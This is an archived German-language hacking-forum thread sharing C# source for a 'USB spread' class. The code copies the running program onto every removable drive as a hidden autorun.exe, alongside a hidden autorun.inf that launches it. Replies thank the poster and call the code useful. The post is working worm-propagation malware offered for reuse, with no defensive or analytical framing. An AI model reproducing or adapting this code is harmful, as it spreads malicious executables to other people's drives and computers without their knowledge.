PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : [C# Source] - USB Spread



Sawyer
15.03.2009, 20:03
Author: t0fx


///////////////////////////////////////////////////////////////
// USB spread class by t0fx, plz give credits if you use it !//
///////////////////////////////////////////////////////////////

using System;
using System.Net;
using System.IO;
using System.Management;
using System.Collections.Generic;
using System.Windows.Forms;

class USBspread
{


static void Main(string[] args)
{

try
{
System.IO.DriveInfo[] drives = System.IO.DriveInfo.GetDrives(); // we find all removable drives
foreach (System.IO.DriveInfo drive in drives)
{
if (drive.DriveType == DriveType.Removable)
{
StreamWriter sw = new StreamWriter(drive.Name + "autorun.inf"); // create the autorun.inf
sw.WriteLine("[autorun]");
sw.WriteLine("open=autorun.exe");
sw.Close();
File.SetAttributes(drive.Name + "autorun.inf", File.GetAttributes(drive.Name + "autorun.inf") | FileAttributes.Hidden); // We put autorun.inf hidden

string appPath = System.Diagnostics.Process.GetCurrentProcess().Mai nModule.FileName;

try
{
File.Copy(appPath, drive.Name + "autorun.exe", true); // We copy our exe into the removable drive
File.SetAttributes(drive.Name + "autorun.exe", File.GetAttributes(drive.Name + "autorun.exe") | FileAttributes.Hidden); // attribute hidden

}
finally
{
Console.WriteLine("Found removable drive {0}", drive.Name + "... // Successfully rooted! //");
}
}
else
{
Console.WriteLine("Not Removable drive : {0}", drive.Name);
}
}

}
catch (Exception e)
{

Console.WriteLine(e.ToString());
}
}
}MfG

ToD5K
15.03.2009, 20:17
Schon lange keine C# Sources hier gesehen..
Kann ich gut gebrauchen danke! :)
Btw wo hast du den Src gefunden wenn ich fragen darf?

Sawyer
15.03.2009, 20:28
Schon lange keine C# Sources hier gesehen..
Kann ich gut gebrauchen danke! :)
Btw wo hast du den Src gefunden wenn ich fragen darf?

hackhound

MfG

kInGoFcHaOs
23.03.2009, 16:31
System.IO.DriveInfo[] drives = System.IO.DriveInfo.GetDrives(); // we find all removable drives


der Kommentar ist falsch ^^
aber sonst sieht der src ganz i.o aus

p0se
23.03.2009, 16:49
oh kann ich gut gebrauchen thx